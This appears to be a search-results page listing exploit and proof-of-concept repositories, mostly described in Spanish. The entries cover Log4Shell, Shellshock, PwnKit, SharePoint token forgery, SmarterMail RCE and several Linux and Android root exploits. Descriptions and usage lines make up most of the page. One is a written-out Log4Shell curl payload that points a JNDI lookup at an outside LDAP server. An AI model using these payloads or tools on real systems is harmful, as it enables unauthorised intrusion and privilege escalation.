231605 matches found
log4shell_lab
Laboratorio de explotación log4shell Este repositorio es una configuración de una sola línea para el laboratorio de explotación log4shell. Configura el laboratorio: docker-compose up -d Ejecuta el exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Lue...
CVE-2022-37969PoC
Contenidos Introducción General Esto fue creado para aclarar aspectos generales relacionados con la explotación de Windows. Explica conceptos básicos aplicados a CVE-2022-37969. El resultado final es un PoC funcional. No aclara todos los aspectos sobre el CVE, pero proporciona piezas de código...
shellshock-poc
Shellshock-Exploit Este exploit abusa de la vulnerabilidad Shellshock CVE-2014-6271 existente en bash a partir de su versión 1.14 hasta la 4.3. Uso: python3 ./exploit.py -t -u -a -p Ejemplo: python3 ./exploit.py -t 10.10.10.15 -u /cgi-bin/vulnerable -a 10.10.10.7 -p 4443 Más información sobre la...
CVE-2025-6934
CVE-2025-6934 Auto Exploit ⚡ Overview CVE-2025-6934 is a proof-of-concept PoC exploit targeting WordPress Plugin: Opal Estate Pro ≤ 1.7.5. This exploit demonstrates unauthenticated administrator account creation. Disclaimer: This PoC is for educational purposes only. Do not use on systems without...
CVE-2026-92880
A weakness has been identified in vgmstream up to r2117. Impacted is the function vadpcmreadcoefsbe of the file src/coding/vadpcmdecoder.c of the component EA SCHl parser. This manipulation of the argument entry/entries causes out-of-bounds write. Remote exploitation of the attack is possible...
RootMyVivo-Exploit
RMV Exploit — CVE-2026-43499 для vivo и iQOO Форк boxiaolanya2008/CVE-2026-43499-Neo11Plus, переработанный под RootMyVivo. Убрано всё, что ломало телефон после рута, оставлено ядро эксплойта с проверенными таймингами. English · 中文 Цели Каталог| Устройство| Ядро| Откуда оффсеты ---|---|---|---...
CVE-2026-55040-Mass-Exploit
Exploit de Bypass de Token JWT para Microsoft SharePoint CVE-2026-55040, CVSS 9.1. Forja tokens de autenticación usando tres vectores de ataque: Algoritmo "none" omite la verificación de firma Secretos HS256 débiles con soporte de diccionario de fuerza bruta Sustitución de clave RS256 Suplanta a...
SmarterMail-CVE-2026-24423
SmarterMail ConnectToHub RCE Un exploit basado en Python para CVE-2026-24423 , una vulnerabilidad de Ejecución Remota de Código no autenticada en la funcionalidad ConnectToHub de SmarterTools SmarterMail. Uso previsto: Solo pruebas de seguridad autorizadas, CTFs, laboratorios de Hack The Box y...
POC-CVE-2026-0768
Descripción Código de prueba de concepto PoC para CVE-2026-0768 Uso python3 poc.py -u -c...
SysAid Server - Remote Code Execution
In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023. id: CVE-2023-47246 info: name: SysAid Server - Remote Code Execution author: iamnoooob,rootxharsh,pdresearc...
vivo-root-build
PD2415 6.6.89 Candidato de Flujo Completo Esta fuente se basa en el motor IonStack PD2415 6.6.57 del mismo dispositivo/mismo SoC: perf KASLR, pselect GhostLock, CFI fops, pipe physrw. El cierre del portador de dumpstate se conserva del método PD2241 validado. El objetivo archivado 6.6.89 mantiene...
copy-fail-CVE-2026-31431
Copy Fail CVE-2026-31431 - PoC Este repositorio contiene una Prueba de Concepto PoC para la vulnerabilidad Copy Fail CVE-2026-31431. ⚠️ Aviso legal: Este proyecto es solo con fines educativos y de investigación. NO lo utilice en sistemas que no le pertenezcan o para los que no tenga permiso de...
copy-fail-CVE-2026-31431-shell
CVE-2026-31431 - shell copyfail Escalada local de privilegios mediante socket AFALG + sobrescritura de caché de páginas con splice. Sobrescribe un binario SUID de solo lectura /usr/bin/su con un ELF mínimo que llama a setuid0 + execve"/bin/sh". Sin condición de carrera, sin offsets específicos po...
Copy-Fail-Exploit-CVE-2026-31431
Copy-Fail-Exploit-CVE-2026-31431 Ejecutar el exploit en Python 1. Ejecutar directamente root@kitploit: python3 copyfailexp.py Compilar la versión en C 1. Compilar root@kitploit: gcc copyfailexp.c -o copyfail 2. Hacerlo ejecutable root@kitploit: chmod +x copyfail 3. Ejecutar el exploit...
CopyFail-Experiment
Solo un experimento para verificar que el LLM puede encontrar esta vulnerabilidad y construir un exploit funcional. Uso root@kitploit: gcc -o poc poc.c ./poc...
CVE-2026-31431
CVE-2026-31431 - Prueba de Concepto Exploit de escritura en page-cache de Linux algifaead a root - Escalada de Privilegios Local Writeup https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170 Notas Aún no hemos probado completamente el PoC, se bas...
AutoPwnkit
AutoPwnkit Una herramienta para automatizar el exploit PWNKIT CVE-2021-4034 Aclaración Solo con fines educativos | El autor no es responsable de ningún daño Créditos AutoPwnkit - por x04000 Scripts originales - https://github.com/berdav/CVE-2021-4034...
CVE-2021-4034
Exploit CVE-2021-4034 Exploit root para la vulnerabilidad PwnKit. Consulta el informe original aquí. Utiliza este exploit solo con el permiso expreso de los propietarios del sistema objetivo. Compilación No se necesitan dependencias además de libc. Solo ejecuta make. Ejecución Ejecutar sin opcion...